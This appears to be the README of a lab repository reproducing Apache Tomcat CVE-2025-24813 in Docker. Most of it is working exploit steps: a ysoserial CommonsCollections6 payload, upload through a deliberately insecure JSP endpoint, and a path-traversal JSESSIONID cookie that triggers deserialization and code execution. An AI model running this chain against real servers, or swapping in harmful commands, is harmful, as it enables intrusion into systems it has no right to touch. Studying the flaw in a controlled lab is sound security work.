
Proof-of-concept demonstrating Apache Tomcat CVE-2025-24813, exploiting insecure DefaultServlet PUT and session deserialization to achieve remote code execution.
This repository contains a simple application built to observe the behavior of CVE-2025-24813, a recent vulnerability in Apache Tomcat related to the use of the DefaultServlet with writing enabled (readonly=false), allowing unsafe write operations via HTTP PUT (with support for partial PUT / Content-Range) that can lead to overwriting sensitive files, including session files — enabling RCE scenarios if malicious deserialization occurs.
The application uses:
| Component | Function |
|---|
| Tomcat 9 + JDK 11 | Vulnerable server used as target |
context.xml | Enables PersistentManager + FileStore saving sessions to disk |
upload.jsp | Simple endpoint that receives data and writes to disk |
/tmp/app-data/ | Directory where uploads will be saved |
The initial idea is to observe how Tomcat handles files in an environment configured to study the CVE — starting with a benign request, which only writes a file in a controlled manner (without exploitation attempt) and then a malicious file.
docker build -t tomcat-cve-2025-24813 .
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813
In another terminal, execute the commands below.
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200
We will send a simple file to observe normal behavior.
Upload sending a string
echo "Normal File" > nota.txt
curl -X POST http://localhost:8080/upload.jsp \
-H "X-Filename: nota.txt" \
--data-binary "This is just a simple message."
If everything is correct, nothing should appear in the terminal running strace.
Note: If SIGSEGV errors appear in strace, ignore them. They are JVM noise.
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
Here we use the CommonsCollections4 chain to generate an object that, in a vulnerable scenario, could execute the command touch /tmp/RCE. The payload will be saved as hack.session.
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
If the previous command fails, then to ensure compatibility with modern Java versions (9+), you need to add the --add-opens flag to disable strong encapsulation (JPMS), which would otherwise block the reflection used by ysoserial.
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
After this command you will have a local binary file:
hack.session
We send the .session file to the JSP endpoint, which writes the content directly to the /tmp/app-data directory.
curl -v -X POST \
-H "X-Filename: hack.session" \
--data-binary @hack.session \
http://localhost:8080/upload.jsp
Expected output:
File saved successfully at: /tmp/app-data/hack.session
📌 At this moment no command is executed — only file writing on the server occurred.
Now we make a request sending the cookie JSESSIONID=hack, trying to force Tomcat to load the newly created session.
curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"
In the strace terminal, execve commands creating the file should have appeared.
To verify if the file was created, we can also enter the container and check
docker exec -it toy-cve ls -l /tmp/